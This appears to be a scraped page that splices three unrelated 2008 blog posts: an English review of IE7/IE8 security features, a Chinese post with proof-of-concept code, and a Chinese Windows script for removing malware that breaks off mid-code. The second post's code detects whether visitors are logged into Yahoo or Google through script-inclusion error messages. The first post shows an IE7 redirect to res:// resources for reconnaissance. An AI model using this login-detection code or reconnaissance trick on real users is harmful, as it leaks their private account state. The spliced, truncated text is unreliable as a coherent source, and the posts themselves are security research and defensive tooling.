03月 17th, 2008Security In IE7 & IE8

I had some fun today on Internet Explorer and tested the new IE8 also.
Along, I also compared the new security features to IE7. And there are many
things to say about both versions. Don’t get me started on the usability. To
be honest it looks horrible. Don’t know if you ever noticed it, but
selecting text with your mouse has become a real challenge. It has some
strange selection boundary which results in selecting text you don’t want to
select. Typically Microsoft, onto the security features. You might have
heard or read about a new feature called XDR that allows cross-domain
requests. If not, I’ll explain it here in short detail as well as the other
new features before I’m going into reverse engineering IE7 & IE8.

The XDR object.

xdr = new XDomainRequest();
xdr.open(’POST’, ‘http://www.mr.bigglesworth.com’);
xdr.send(data);
Now, Mr.Bigglesworth needs to approve the send XDomainRequest header, but we
can approve the call by returning this header to the server that requested
legitimacy:
Response.AppendHeader(”XDomainRequestAllowed”,”1″);
Great, XSS made easy. No need for hijacked iframes, css or images. Nope pure
Javascript does the trick for us. This obviously can bypass many XSS filters
in use today, so if you run one be sure to check this beast out. In my
opinion this will broaden the attack landscape since there are more ways of
launching XSS or spreading worms. The XDR object also returns the
responseText that gives access to:
xdr.onerror
xdr.ontimeout
xdr.onprogress
xdr.onload
xdr.timeout
Useful, if you’re into worms and all.
next, I saw that they implemented cross-document messaging in the form of
the object postMessage. Opera already has it, and from a security standpoint
I don’t trust it. It basically means that a webpage can write into another
page that is running in the same session and on the same host by attaching
an event listener. Spoofing comes to mind, and maybe other attacks as well.
The real question is of course: what is it for? I don’t know.
Implementing it is a breeze:
page 1:
var doc = document.getElementsByTagName(’iframe’)[0];
doc.contentWindow.postMessage(’Hello Mr. Bigglesworth!’);
page 2:
document.attachEvent(’onmessage’,function(e) {
if (e.domain == ‘example.com’) {
if (e.data == ‘Hello Mr. Bigglesworth!’) {
e.source.postMessage(’Meow! Meow! Dr. Evil!’);
} else {
alert(e.data);
}
}

});
Hash write access.
Another thing that caught my eye was write access to the hash of an url.
Doesn’t sound smart because I don’t want Javascript to manipulate the hash.
Not only can it be annoying, it can lead to security issues depending on the
setting of your website.

Webslices.

If I understand it correctly this feature allows users to favorite the slice
or put it in their feed reader. Better expect some buffer overflows here
since IE8 now listens for a tag called ‘hslice’ on any page it opens, would
be nice to fuzz this feature.
<div class=”hslice” id=”main”>
<h2 class=”entry-title”>All I want are friggin’ sharks with friggin’ lazer
beams attached to their heads! </h2>
</div>

GlobalStorage & SessionStorage.

IE8 jumped on the Mozilla bandwagon and implemented the Session object. I
can’t say I’m that impressed because I as I said before; allowing 10MB of
data to be stored in such object (XML file in IE8) isn’t smart. Let alone
the permanent storage of user tracking details, XSS worms and other
spy-ware.

IE8 GlobalStorage

<script>
var storage = globalStorage[location.hostname];
storage.some_string = ‘
Ladies and Gentlemen welcome to my underground lair.
I have gathered here before me the worlds deadliest assassins.
And yet each of you has failed to kill Austin powers.
That makes me angry. And when Dr. Evil get angry, Mr. Bigglesworth gets
upset.
And when Mr. Bigglesworth gets upset…people DIE!!!
Why must I be surrounded by freakin idiots. Mustafa, Frau Farbissina…
‘;
</script>

Reverse Engineering IE7 & IE8.

Okay, this is fun. I’m going to show you a couple things I found out about
Internet Explorer. First off IE8 prevents header forwards on files, pity
this was pretty ‘evil’ in MSIE 7 where it is still possible to change the
location of a file to a local file stored on your computer. It’s very
simple:
<?
header(”location: localfile “);
?>
And IE7 follows it, whereas IE8 refuses to follow.
The reason why this is dangerous is because of this XML file that contains
system information which we could parse. Useful for reconnaissance and
possibly other attack schemes.
<?
header(”location: res://ieframe.dll/24/123″);
?>
Results in IE7:
<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes” ?>
- <!– Copyright (c) Microsoft Corporation
–>
- <assembly xmlns=”urn:schemas-microsoft-com:asm.v1″
xmlns:asmv3=”urn:schemas-microsoft-com:asm.v3″ manifestVersion=”1.0″>
<assemblyIdentity
name=”Microsoft.Windows.InetCore.ieframe”processorArchitecture=”x86″
version=”5.1.0.0″
type=”win32″ />
<description>Windows IE</description>
- <dependency>
- <dependentAssembly>
<assemblyIdentity
type=”win32″name=”Microsoft.Windows.Common-Controls”version=”6.0.0.0″
processorArchitecture=”*”
publicKeyToken=”6595b64144ccf1df” language=”*”
/>
</dependentAssembly>
</dependency>
- <trustInfo xmlns=”urn:schemas-microsoft-com:asm.v3″>
- <security>
- <requestedPrivileges>
<requestedExecutionLevel level=”asInvoker” uiAccess=”false” />
</requestedPrivileges>
</security>
</trustInfo>
- <asmv3:application>
- <asmv3:windowsSettings
xmlns=”http://schemas.microsoft.com/SMI/2005/WindowsSettings“>
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
If you notice correctly I read res://ieframe.dll/24/123 located on
ieframe.dll which is the IEDataObjectWrapper (InProcServer32) I don’t know
why they still allow this to be browsable, because you can resource it on
iframes, XML and as a Javascript source. So I went further to find all data
object in IE8 and a few in IE7.
IE7/8 data sources are:
res://ieframe.dll/MUI/1

res://ieframe.dll/TYPELIB/1

res://ieframe.dll/UIFILE/{20481,20482,20483,20484,20484,20485,20486,20487,39
216,41555}

res://ieframe.dll/WEVT_TEMPLATE/1

res://ieframe.dll/Version Info/1

res://ieframe.dll/23/ABOUT.js

res://ieframe.dll/23/ANALYZE.js

res://ieframe.dll/23/ANCHBRWS.js

res://ieframe.dll/23/DOCBROWS.js

res://ieframe.dll/23/ERROR.js

res://ieframe.dll/23/HTTPERRORPAGESSCRIPTS.js

res://ieframe.dll/23/IEERROR.js

res://ieframe.dll/23/IMGBROWS.js

res://ieframe.dll/23/INVALIDCERT.js

res://ieframe.dll/23/ORGFAV.js

res://ieframe.dll/23/PHISHSITE.js

res://ieframe.dll/23/POLICY.js

res://ieframe.dll/23/PREVIEW.js

res://ieframe.dll/preview.dlg (dialog)

res://ieframe.dll/23/PSTEMPLATES.js

res://ieframe.dll/24/123 (XML file)
IE6 has a few too:
res://mshtml.dll/REGINST/REGINST

res://mshtml.dll/23/ABOUT.MOZ

res://mshtml.dll/23/BLANK.HTM

res://mshtml.dll/23/REPOST.HTM
As well as others.
These are nice to play with some more, I haven’t digged any deeper yet but
this is quite nice to have a look at. So, enough building blocks to pentest
IE a little further. If you find anything notable, do let me know.

今天看到一篇有意思的文章,关于用js检测用户是否登入某些Web应用的方法,虽然原文没有给出具体的实现代码,但我经过了一些研究之后,试着写了一段POC,经测试只能在Firefox下使用。IE下的错误信息和Firefox的错误信息接口不一样,暂时没有想到办法利用。

测试地址在这里

附上POC源代码:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<meta name=”refer” content=”http://kentbrewster.com/patching-privacy-leaks/”>
<head>
<title> JavaScript WebSite Login Checker</title>

</head>

<body>
<script>
<!–
//hook firefox’s onerror event handler
window.onerror = err;

var sites = new Array(2);
sites[’http://mail.yahoo.com/’] = new Array(5);
sites[’http://mail.yahoo.com/’][”name”] = ‘Yahoo Mail (Beta)’;
sites[’http://mail.yahoo.com/’][”login_msg”] = ‘missing } in XML expression’;
sites[’http://mail.yahoo.com/’][”login_line”] = ‘12′;
sites[’http://mail.yahoo.com/’][”logout_msg”] = ’syntax error’;
sites[’http://mail.yahoo.com/’][”logout_line”] = ‘8′;

sites[’https://www.google.com/accounts/ManageAccount’] = new Array(5);
sites[’https://www.google.com/accounts/ManageAccount’][”name”] = ‘Google Account’;
sites[’https://www.google.com/accounts/ManageAccount’][”login_msg”] = ‘XML tag name mismatch (expected a)’;
sites[’https://www.google.com/accounts/ManageAccount’][”login_line”] = ‘144′;
sites[’https://www.google.com/accounts/ManageAccount’][”logout_msg”] = ‘missing = in XML attribute’;
sites[’https://www.google.com/accounts/ManageAccount’][”logout_line”] = ‘35′;

function check(loc) {
var script = document.createElement(’script’);
script.setAttribute(’src’, loc);
script.setAttribute(’type’,'text/javascript’);
var head = document.getElementsByTagName(”head”)[0];
head.appendChild(script);
}

function err(msg, loc, line) {

var res = document.getElementById(sites[loc].name);

if ((msg == sites[loc].login_msg) && (line == sites[loc].login_line)) {
res.innerHTML = ” Logged-in”;
} else if ((msg == sites[loc].logout_msg) && (line == sites[loc].logout_line)) {
res.innerHTML = ” Not Logged-in”;
} else {
res.innerHTML = ” Not Logged-in”;
}
window.stop();
}
// –>
function addSite(loc)
{
var results = document.getElementById(”results”);
var subdiv = document.createElement(”div”);
results.appendChild(subdiv);
var name = document.createElement(”span”);
name.innerHTML = sites[loc].name;
subdiv.appendChild(name);

var result = document.createElement(”span”);
result.setAttribute(”id”, sites[loc].name);
result.innerHTML = ” “;
subdiv.appendChild(result);
var button = document.createElement(”input”);
button.type=”button”;
button.value=”check”;
button.setAttribute(”onclick”,”check(’”+ loc +”‘)”);
subdiv.appendChild(button);
}

</script>
<div align=”center”>
<h1>JavaScript WebSite Login Checker</h1>

<div id=”results”></div>
<script>
for(var i in sites){
addSite(i);
}
</script>
</div>
</body>
</html>

关于ver 0.1可以参考我之前的一篇post

——————————————我是分割线——————————————
+ 本脚本的目的在于远程协助对电脑毫无操作经验的人清除电脑上的小毒、小马和小流氓~
+ rootkit级别的暂时不是通过WMI可以解决的,所以不是我的这个小脚本的编写目的
+ 版本升级频率取决于遇到的病毒和马儿的顽固程度
——————————————我是分割线——————————————

Changes since ver 0.1
+ 操作日志记录到文件

+ 删除系统服务
+ 遍历使用spt的16种终止进程方法
+ 通过进程名查找进程pid
> 修改函数异常处理的方法为记录日志到文件

/******************************************************************************
 * Author:              TrojanJason@NEWSMTH
 * Created on:          2007-12-28      
 * Last Modified:       2008-01-19
 * Version:             0.2
 * ===================================================
 * run: cscript //nologo virusCleanerUtils.js
 * ===================================================
 * Changelog:
 * ===================================================
 * Changes since ver 0.1
 * + 操作日志记录到文件
 * + 删除系统服务
 * + 遍历使用spt的16种终止进程方法
 * + 通过进程名查找进程pid
 * > 修改函数异常处理的方法为记录日志到文件
 */
//—————–全局变量开始———————–
var objWSH      =       new ActiveXObject(“wscript.shell”);
var fso         =       new ActiveXObject(“scripting.filesystemobject”);
var Log         =       new Logger();
var hasExceptions = 0;

//OpenTextFile 中读写标志位
var ForRead     =       1;
var ForWrite    =       2;
var ForAppend   =       8;

//custom input dialog vars
var vbOKCancel          =       1;       // 确定/取消
var vbOKOnly            =       0;          //确定
var vbInformation       =       64;
var vbCancel = 2; //终止 重试 忽略,对于Popup的返回值来说表示用户点击’取消’

//special folders spec
var WindowsFolder       =       0;
var SystemFolder        =       1;
var TemporaryFolder     =       2;
//spt kill level constant
/*
        1       - standard process termination;
        2       - terminate process by terminating all its threads;
        3       - terminate process using remote thread;
        4       - terminate process by instruction pointer (IP) modification;
        5       - crash process by resetting memory attributes;
        6       - crash process by rewriting critical process data;
        7       - terminate process as part of a job;
        8       - terminate process using debuger;
        9       - terminate process as a task;
        10      - terminate process by sending WM_CLOSE;
        11      - terminate process by sending WM_SYSCOMMAND;
        12      - terminate process using windows station message;
        13      - terminate process using DLL injection 1;
        14      - terminate process using DLL injection 2;
        15      - simulation of normal process exit;
        16      - terminate process by “bruteforce” message posting;
*/
//—————–全局变量结束———————–

//—————–全局对象定义开始———————–
function VCHelper()
{
}

VCHelper.prototype.deleteSystemService  =       deleteSystemService;
VCHelper.prototype.stopSystemService    =       stopSystemService;
VCHelper.prototype.deleteRegKey         =       deleteRegKey;
VCHelper.prototype.createRegKey         =       createRegKey;
VCHelper.prototype.readRegKey           =       readRegKey;
VCHelper.prototype.killProcessByName    =       killProcessByName;
VCHelper.prototype.killProcessByPid     =       killProcessByPid;
VCHelper.prototype.killProcessByPidSpt  =       killProcessByPidSpt;
VCHelper.prototype.killProcessByPidAll  =       killProcessByPidAll;
VCHelper.prototype.killProcessByNameAll =       killProcessByNameAll;
VCHelper.prototype.findProcessByPid     =       findProcessByPid;
VCHelper.prototype.findPidByProcessName =       findPidByProcessName;
VCHelper.prototype.unloadDll            =       unloadDll;
VCHelper.prototype.deleteFile           =       deleteFile;
VCHelper.prototype.deleteFileByEnvVar   =       deleteFileByEnvVar;
VCHelper.prototype.writeTextToFile      =       writeTextToFile;
VCHelper.prototype.copyFile             =       copyFile;
VCHelper.prototype.deleteFolder         =       deleteFolder;
function UtilsHelper()
{
}

UtilsHelper.prototype.hex               =       hex;
UtilsHelper.prototype.info              =       info;

function TestVCHelper()
{

}

TestVCHelper.prototype.buildTestCase = function(){
        try{
                fso.OpenTextFile(“test.txt”, ForWrite, true).Close();
                fso.OpenTextFile(“d:\\temp\\sss.txt”, ForWrite, true).Close();
                fso.CreateFolder(“d:\\中文 目录”);
                fso.OpenTextFile(“d:\\中文 目录\\test.txt”, ForWrite, true).Close();
                fso.OpenTextFile(fso.GetSpecialFolder(TemporaryFolder)+“temp.ani”, ForWrite, true).Close();

        }catch(Err){
        }
}

TestVCHelper.prototype.runTestCase = function(){
        var TestCase = new VCHelper();

        //display program info
        info();

        //test copy file
        TestCase.copyFile(“test.txt”, “d:\\temp\\test1111.txt”);
        TestCase.copyFile(“test.txt”,“d:\\temp\\test2222.txt”);
        TestCase.copyFile(“test.txt”,“d:\\nonexist\\test2222.txt”);
        TestCase.deleteFile(“d:\\temp\\sss.txt”);
        TestCase.deleteFile(“d:\\中文 目录\\test.txt”);
        TestCase.deleteFile(“d:\\temp\\test1111.txt”);
        TestCase.deleteFile(“d:\\temp\\test2222.txt”);
        TestCase.deleteFolder(“d:\\中文 目录”);
        TestCase.deleteFileByEnvVar(“%temp%\\temp.ani”);
        TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForAppend, false);
        TestCase.writeTextToFile(“111\n2222\n333″, “test.txt”, ForWrite, true);
        TestCase.writeTextToFile(“444\n2222\n333″, “test.txt”, ForAppend, true);
        TestCase.deleteFile(“test.txt”);
        //test process termination
        TestCase.unloadDll(“SciLexer.DLL”);
        TestCase.killProcessByName(“notepad.exe”);
        TestCase.killProcessByNameAll(“calc.exe”);
        TestCase.killProcessByPid(3972);
        //test stopping service
        TestCase.stopSystemService(“MSIServer”);

        //test registry operations
        TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\,1,“REG_BINARY”);
        TestCase.createRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”, “Goocher!”, “REG_SZ”);
        Log.log(readRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”));
        TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”);
        TestCase.deleteRegKey(“HKCU\\Software\\ACME\\FortuneTeller\\);
        TestCase.deleteRegKey(“HKCU\\Software\\ACME\\);

}

//日志对象
function Logger(logLevel)
{
}
Logger.prototype.name = “VirusCleanLog.log”;
Logger.prototype.log = function(str){
        var fd = fso.OpenTextFile(Log.name, ForAppend, true);
        fd.Write(new Date().getCurrentTime() + ” - “ + str + \n);
        fd.Close();
}
//获得当前系统时间
Date.prototype.getCurrentTime = function()
{
        return this.getYear() + “/” + (this.getMonth() + 1) + “/” + this.getDate() + ” “ + this.getHours() + “:” + this.getMinutes() + “:” + this.getMilliseconds();
}

//—————–全局对象定义结束———————–

/**************************************
 ************ 系统服务操作 **************
 **************************************/
//停止服务
function stopSystemService(srvcName)
{
        try{
                var strcomputer, objwmi, servicelist, service, sname;
                strcomputer =“.”;
                objwmi = GetObject(“winmgmts:\\\\ + strcomputer + \\root\\cimv2″);
                //确保只停止当前状态为’Running’或’Unknown’的服务
                servicelist = objwmi.ExecQuery(“Select * from Win32_Service where (State=’Running’ or State=’Unknown’) and Name=’” + srvcName + “‘”);
                var e = new Enumerator(servicelist);
                for (;!e.atEnd();e.moveNext()) {
                        var service = e.item();
                        if(service.stopservice() == 0){
                                Log.log(“*****停止服务:’” + srvcName + “‘成功”);
                        }else{
                                Log.log(“!!!!!停止服务:’” + srvcName + “‘失败”);
                        }
                }
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

//删除服务
function deleteSystemService(srvcName)
{
        try{
                var strcomputer, objwmi, servicelist, service, sname;
                strcomputer =“.”;
                objwmi = GetObject(“winmgmts:\\\\ + strcomputer + \\root\\cimv2″);
                servicelist = objwmi.ExecQuery(“Select * from Win32_Service where Name=’” + srvcName + “‘”);
                var e = new Enumerator(servicelist);
                for (;!e.atEnd();e.moveNext()) {
                        var service = e.item();
                        if(service.Delete() == 0){
                                Log.log(“*****删除服务:’” + srvcName + “‘成功”);
                        }else{
                                Log.log(“!!!!!删除服务:’” + srvcName + “‘失败”);
                        }
                }
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }

}

/**************************************
 ************ 注册表操作 ***************
 **************************************/
//删除注册表键值
function deleteRegKey(regKeyName)
{
        try{
                Log.log(“deleteRegKey(” + regKeyName + “)”);
                objWSH.RegDelete(regKeyName);
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

//创建/修改注册表键值
function createRegKey(regKeyName, regKeyValue, regType)
{
        try{
                Log.log(“createRegKey(” + regKeyName + “,” + regKeyValue + “,” + regType + “)”);
                objWSH.RegWrite(regKeyName, regKeyValue, regType);
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

//读取注册表键值
function readRegKey(regKeyName)
{
        try{
                Log.log(“readRegKey(” + regKeyName + “)”);
                return objWSH.RegRead(regKeyName);
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

/**************************************
 ************ 进程操作 ***************
 **************************************/
//进程终结 by name
function killProcessByName(procName)
{
        try{
                var w = GetObject(“winmgmts:”);
                var processlist = w.execquery(“select * from win32_process where name=’” + procName + “‘”);
                var e = new Enumerator(processlist);
                for(;!e.atEnd();e.moveNext()){
                        var process = e.item();
                        if(process.terminate()){
                                Log.log(“!!!!!终止进程:’” + procName + “‘失败”);
                        }else{
                                Log.log(“*****终止进程” + procName + “成功”);
                        }
                }
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//进程终结 by pid
function killProcessByPid(pid)
{
        try{
                var w = GetObject(“winmgmts:”);
                var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
                var e = new Enumerator(processlist);
                for(;!e.atEnd();e.moveNext()){
                        var process = e.item();
                        if(process.terminate()){
                                Log.log(“!!!!!终止进程pid:’” + pid + “‘失败”);
                        }else{
                                Log.log(“*****终止进程pid” + pid + “成功”);
                        }

                }
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

//进程终结 by pid 使用spt.exe
function killProcessByPidSpt()
{
        var pid, level, params;
        if(arguments == null || arguments.length < 2){
                return;
        }else{
                pid = arguments[0];
                level = arguments[1];
                params = arguments[2] == null ? null : arguments[2];
        }
        try{
                if(findProcessByPid(pid) == null){//不存在pid所代表的进程
                        Log.log(“!!!!!不存在进程(pid=” + pid + “, level=” + level + “)”);
                        return 0;
                }
                var oExec;
                if(params == null || params.length < 1){
                        oExec = objWSH.Exec(“spt “ + pid + ” “ + level);
                }else{
                        oExec = objWSH.Exec(“spt “ + pid + ” “ + level + ” “ + params);
                }
                var isSuccessful = false;
                while(!oExec.StdOut.AtEndOfStream)
                {
                        var output = oExec.StdOut.ReadLine();
                        if(output.indexOf(“succeed”) > -1){//程序执行成功
                                isSuccessful = true;
                                break;
                        }
                }
                if(!isSuccessful){
                        Log.log(“!!!!!强制终止进程(pid=” + pid + “, level=” + level + “)失败”);
                        return 1;
                }else{
                        Log.log(“*****强制终止进程(pid=” + pid + “, level=” + level + “)成功”);
                        return 0;
                }

        }catch(err){
                objWSH.Popup(“请将第三方程序spt.exe与本专杀放在同一目录下”,64,“注意”);
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
                return 2;
        }
}

//遍历尝试16种进程终止方法
function killProcessByPidAll(pid)
{
        for(var i = 1;i < 17;i++){
                if(!killProcessByPidSpt(pid, i))//执行成功
                        break;
        }
}

//遍历尝试16种进程终止方法by process name
function killProcessByNameAll(procName)
{
        var pids = findPidByProcessName(procName);
        if(pids != null && pids.length > 0){
                for(var i = 0;i < pids.length;i++){
                        Log.log(“进程” + procName + “存在pid:” + pids[i]);
                        killProcessByPidAll(pids[i]);
                }
        }

}

//查找进程 by pid
function findProcessByPid(pid)
{
        try{
                var w = GetObject(“winmgmts:”);
                var processlist = w.execquery(“select * from win32_process where ProcessId=’” + pid + “‘”);
                var e = new Enumerator(processlist);
                for(;!e.atEnd();e.moveNext()){
                        var process = e.item();
                        return process;
                }
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }

}

//通过进程名查找pid
function findPidByProcessName(procName)
{
        var pids = new Array();
        try{
                var w = GetObject(“winmgmts:”);
                var processlist = w.execquery(“select * from win32_process where name=’” + procName + “‘”);
                var e = new Enumerator(processlist);
                for(;!e.atEnd();e.moveNext()){
                        var process = e.item();
                        pids.push(process.ProcessId);
                }
                return pids;
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }

}

//dll文件卸载
function unloadDll(dllName)
{
        try{
                var oExec = objWSH.Exec(“ps /e * “ + dllName);
                var output = “”;
                var isSuccessful = false;
                while(!oExec.StdOut.AtEndOfStream)
                {
                        var output = oExec.StdOut.ReadLine();
                        if(output.indexOf(“succeed”) > -1){//程序执行成功
                                isSuccessful = true;
                                break;
                        }
                }
                if(!isSuccessful){
                        Log.log(“!!!!!强制卸载dll文件:” + dllName + “失败,请确认dll文件名是否正确”);
                }else{
                        Log.log(“*****强制卸载dll文件:” + dllName + “成功”);
                }
        }catch(err){
                objWSH.Popup(“请将第三方程序ps.exe与本专杀放在同一目录下”,64,“注意”);
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}

/**************************************
 ************ 文件操作 ***************
 **************************************/
//删除文件(根据全路径+文件名,注意路径中的斜杠是\\)
function deleteFile(fileName)
{
        try{
                if(fso.FileExists(fileName)){
                        var v = fso.GetFile(fileName);
                        v.attributes = 0;
                        v.Delete(true);//force delete if read-only flag is set
                        if(fso.FileExists(fileName)){//check if file has been deleted
                                Log.log(“!!!!!删除文件’” + fileName + “‘失败”);
                        }else{
                                Log.log(“*****删除文件’” + fileName + “‘成功”);
                        }
                }

        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//删除文件(根据环境变量名+文件名,注意路径中的斜杠是\\)
function deleteFileByEnvVar(fileSpec){
        try{
                var d = objWSH.ExpandEnvironmentStrings(fileSpec);
                if(fso.FileExists(d)){
                        var v = fso.GetFile(d);
                        v.attributes = 0;
                        v.Delete(true);//force delete if read-only flag is set
                        if(fso.FileExists(d)){//check if file has been deleted
                                Log.log(“!!!!!删除文件’” + fileSpec + “‘失败”);
                        }else{
                                Log.log(“*****删除文件’” + fileSpec + “‘成功”);
                        }
                }
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//强制删除文件(借助第三方工具)

//写文本文件
function writeTextToFile(txt, fileName, iomode, ForceCreate)
{
        try{
                var re = fso.OpenTextFile(fileName, iomode, ForceCreate);
                re.Write(txt);
                re.Close();

        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }
}
//复制文件
function copyFile(src, dst)
{
        try{
                if(fso.FileExists(src)){
                        var tempDst = dst.substring(0,dst.lastIndexOf(\\) + 1);
                        if(!fso.FolderExists(tempDst)){//检查是否存在目标文件所在的目录
                                if(objWSH.Popup(“不存在目标目录” + tempDst + “自动创建?”,64,“注意”,vbOKCancel) == vbCancel){//放弃复制
                                        return;
                                }
                                        fso.CreateFolder(tempDst);
                }
                        if(fso.FileExists(dst)){//检查目标文件是否已经存在
                                if(objWSH.Popup(“目标文件” + dst + “已存在,是否覆盖?”,64,“注意”,vbOKCancel) == vbCancel){//放弃覆盖
                                        return;
                                }
                        }
                        fso.GetFile(src).Copy(dst);

                }else{
                        objWSH.Popup(“要拷贝的源文件” + src + “不存在”,64,“注意”,vbOKOnly);
                }
        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);
        }

}
//删除目录
function deleteFolder(folderName)
{
        try{
                if(fso.FolderExists(folderName)){
                        var folder = fso.GetFolder(folderName);
                        folder.attributes = 0;
                        folder.Delete(true);
                        if(fso.FolderExists(folderName)){
                                Log.log(“!!!!!删除目录’” + folderName + “‘失败”);
                        }else{
                                Log.log(“*****删除目录’” + folderName + “‘成功”);
                        }
                }

        }catch(err){
                hasExceptions ++;
                Log.log(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + \nDescriptions: “ + err.description);

        }
}

/**************************************
 ************ UtilsHelper类 ***************
 **************************************/
function hex(nmb)
{
    if (nmb > 0)
        return nmb.toString(16);
    else
        return (nmb + 0×100000000).toString(16);
}

function info()
{
        var _name = “Virus Clean Helper”;
        var _author = “All rights by TrojanJason@NEWSMTH”;
        var _version = “Version 0.2″;
        objWSH.Popup(_author + \n + _version, 64, _name);
}

function main()
{
        //write your code here to perform virus batch clean
        //停止服务

        //删除服务

        //进程操作

        //dll卸载

        //删除文件

        //清理注册表

}

//run TestCase
//var TestCase = new TestVCHelper();
//TestCase.buildTestCase();
//TestCase.runTestCase();
//
//main function call
main();

经常分析SREng日志的人都会有体会,远程帮人清除病毒真是一件体力活。特别当对方是个电脑“白痴”的时候,那真是各种的无法沟通。。。你教她删文件、改注册表、停服务?算了吧,还是让windows的脚本来帮我们搞定一切吧!
折腾了2天,终于release了我的VirusCleanerUtils.js~~
由于脚本的一些局限性,我的这个病毒清除脚本还依赖于2个小工具分别是ps和spt,关于这2个文件的更多信息可以分别看下面的链接:
X-PS: http://www.unnoo.com/research/tools/xps/
spt: http://www.syssafety.com/leaktests.141.html

目前版本支持的功能包括:

  1. 停止服务
  2. 注册表键值的删除/修改/创建
  3. 进程终止(正常终止/借助spt的16种进程终止技术)
  4. 运行中进程的dll强行卸载(借助X-PS)
  5. 文件删除(支持绝对路径/相对路径/带环境变量)
  6. 文本文件修改
  7. 文件拷贝
  8. 目录删除(不支持“非法”[如autorun..和通过NativeAPI创建的dos保留关键字目录,如con]目录删除)

在源代码中加入了测试代码,方便即改即测~
使用方法:
将VirusCleanerUtils.js、ps.exe、spt.exe三个文件放在同一个目录下,通过以下命令行启动

cscript //nologo VirusCleanerUtils.js

当然了,嫌这样麻烦,自己把上面的启动代码放到一个bat文件里,双击启动,更加傻瓜点~

源代码:VirusCleanerUtils.js

******************************************************************************
 * Author:              TrojanJason@NEWSMTH
 * Created on:          2007-12-28      
 * Last Modified:       2007-12-29
 * Version:             0.1
 */
//—————–全局变量开始———————–
var objWSH      =       new ActiveXObject(“wscript.shell”);
var fso         =       new ActiveXObject(“scripting.filesystemobject”);
var hasExceptions = 0;

//OpenTextFile 中读写标志位
var ForRead     =       1;
var ForWrite    =       2;
var ForAppend   =       8;

//custom input dialog vars
var vbOKCancel          =       1;       // 确定/取消
var vbOKOnly            =       0;          //确定
var vbInformation       =       64;
var vbCancel = 2; //终止 重试 忽略,对于Popup的返回值来说表示用户点击’取消’

//special folders spec
var WindowsFolder       =       0;
var SystemFolder        =       1;
var TemporaryFolder     =       2;
//spt kill level constant
/*
        1       - standard process termination;
        2       - terminate process by terminating all its threads;
        3       - terminate process using remote thread;
        4       - terminate process by instruction pointer (IP) modification;
        5       - crash process by resetting memory attributes;
        6       - crash process by rewriting critical process data;
        7       - terminate process as part of a job;
        8       - terminate process using debuger;
        9       - terminate process as a task;
        10      - terminate process by sending WM_CLOSE;
        11      - terminate process by sending WM_SYSCOMMAND;
        12      - terminate process using windows station message;
        13      - terminate process using DLL injection 1;
        14      - terminate process using DLL injection 2;
        15      - simulation of normal process exit;
        16      - terminate process by “bruteforce” message posting;
*/
//—————–全局变量结束———————–

//—————–全局对象定义开始———————–
function VCHelper()
{
}

VCHelper.prototype.stopSystemService    =       stopSystemService;
VCHelper.prototype.deleteRegKey         =       deleteRegKey;
VCHelper.prototype.createRegKey         =       createRegKey;
VCHelper.prototype.readRegKey           =       readRegKey;
VCHelper.prototype.killProcessByName    =       killProcessByName;
VCHelper.prototype.killProcessByPid     =       killProcessByPid;
VCHelper.prototype.findProcessByPid     =       findProcessByPid;
VCHelper.prototype.killProcessByPidSpt  =       killProcessByPidSpt;
VCHelper.prototype.unloadDll            =       unloadDll;
VCHelper.prototype.deleteFile           =       deleteFile;
VCHelper.prototype.deleteFileByEnvVar   =       deleteFileByEnvVar;
VCHelper.prototype.writeTextToFile      =       writeTextToFile;
VCHelper.prototype.copyFile             =       copyFile;
VCHelper.prototype.deleteFolder         =       deleteFolder;
function UtilsHelper()
{
}

UtilsHelper.prototype.hex               =       hex;
UtilsHelper.prototype.info              =       info;

function TestVCHelper()
{

}

TestVCHelper.prototype.buildTestCase = function(){
        try{
